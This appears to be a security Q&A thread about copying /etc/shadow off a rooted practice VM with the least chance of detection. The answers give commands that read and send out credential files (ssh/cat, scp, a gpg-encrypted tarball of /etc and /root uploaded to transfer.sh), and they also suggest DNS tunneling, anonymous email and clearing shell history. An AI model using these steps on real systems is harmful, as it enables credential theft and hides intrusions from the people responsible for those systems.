1

I'm connected to a remote VM for pentesting practice. I have an sh shell with root privileges on that system and want to know ways I can get a copy of the contents of /etc/shadow onto my local machine for later viewing.

Assuming I haven't been detected up to that point, what are standard linux methods/programs to get the contents of /etc/shadow, or some other file, by order of detectability to the remote system's admin?

Some methods have been suggested such as cat+copy+paste, netcat, and scp. Cat followed by a copy and paste seems primitive, messy, and error prone. Netcat and scp seem less error prone, but I'm hesitant to use those because they seem noisier and more trackable since I have to enter my IP other other identifiable information in the remote shell session.

  • 3
    That is a weird pen test as you already have root access. Since you do, you have access to easily cover your tracks. I don't see how the worst hacker would have difficulty using cut&paste. Simply clear your actions from the history file and you're done. – Julie Pelletier Sep 17 '16 at 1:41
  • As mentioned, copy and paste seems rather crude, especially if there are hundreds of lines or more, and there's potential for errors. As for connecting to a remote system to send files (scp, netcat, etc), the concern is the resulting network activity which could be logged elsewhere or picked up by an IDS for example. Hence the question about detectability. – Info5ek Sep 17 '16 at 2:12
  • That was my point also. Keep it as simple as possible, remove traces of what you did, and learn to use your terminal client for basic operations such as copying a few 100 lines. – Julie Pelletier Sep 17 '16 at 3:51
  • Perhaps you're confused - I mentioned copying and pasting could result in errors and that it's messy, not that I didn't know how to use copying and pasting. – Info5ek Sep 17 '16 at 4:18
2

Why aren't you just logging (locally) everything you see and do?

$ script hax0r
Script started, file is hax0r
$ ssh vuln@target
<vuln> elevate_privileges
# vi harmless_file
:e /etc/shadow
(browse through the file if it doesn't fit on one screen)
:q
# exit
<vuln> exit
$ exit
Script done, file is hax0r

The contents of shadow are now in your local file, hax0r. You can skip some of the steps (like trying to hide the file access from the remote shell's history) if you want. Or use some other program (perhaps your terminal's built-in logging?) to capture your local shell's history.

Of course you could always:

$ ssh root@target cat /etc/shadow > remote_shadow

Or just:

$ scp root@target:/etc/shadow local_shadow
  • I figure that in some cases the ability to copy files may be required for a particular pen test. Plus it's a bit cleaner and wouldn't require me going through logs. So I'm interesting in finding out ways to do this that are least detectable to admins or IDS systems.. – Info5ek Sep 19 '16 at 0:47
  • 1
    For a pen test, showing that you can read it at all (in a lot of cases just an 'md5sum' would be enough to prove that) is usually sufficient, unless they specifically asked you to stay out of their logs. Proving that you can get in and see their files (and showing how so they can fix it) is the goal. – drewbenn Sep 19 '16 at 1:01
  • Thanks for the guidance, I am new to this area. Are there really no times it would be necessary or helpful to copy files during a pentest? – Info5ek Sep 19 '16 at 1:20
  • Oh sure there are. But what are you going to do with that file, other than show it to the target as proof that you succeeded? Remember the goal of the pentest isn't to steal files, it's to show the target where their systems are vulnerable so they can patch them. – drewbenn Sep 19 '16 at 14:53
  • From my readings, there are example attacks that appear to rely on a remote file to be downloaded in order to be cracked locally. Therefore I assumed that some attacks would require a local copy of a remote file in order to enable additional attacks or possible access to other machines on the network, for example. – Info5ek Sep 19 '16 at 20:08
1

You could try emailing it to an anonymous account, depending on what mailing utilities are installed on the victim machine.

1

with gpg and cURL, you can drop encrypted tarballs on transfer.sh - it uses SSL. tar -cf - /etc /root | gpg -c foo.mpg -. You can upload with a oneliner as well. See https://transfer.sh . You should use a home-compiled static sh binary in any case, or something equivalent.

1

If noone has detected your root reverse shell then the method goes completely under the cover is to cat /etc/shadow in your shell session and copy the output in your terminal window and paste it in your attacking machine session.

0

You could try to exfiltrate the data through a protocol that is not always well monitored. NTP and DNS tunneling comes to mind but tunnels for other protocols also exist.

I guess the detectability depends on how closely someone is watching and what tools / systems they are using to detect data exfiltration. Covering your tracks should not be a problem since you have root.

This might be of interest: https://github.com/ytisf/PyExfil/blob/master/README.md

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.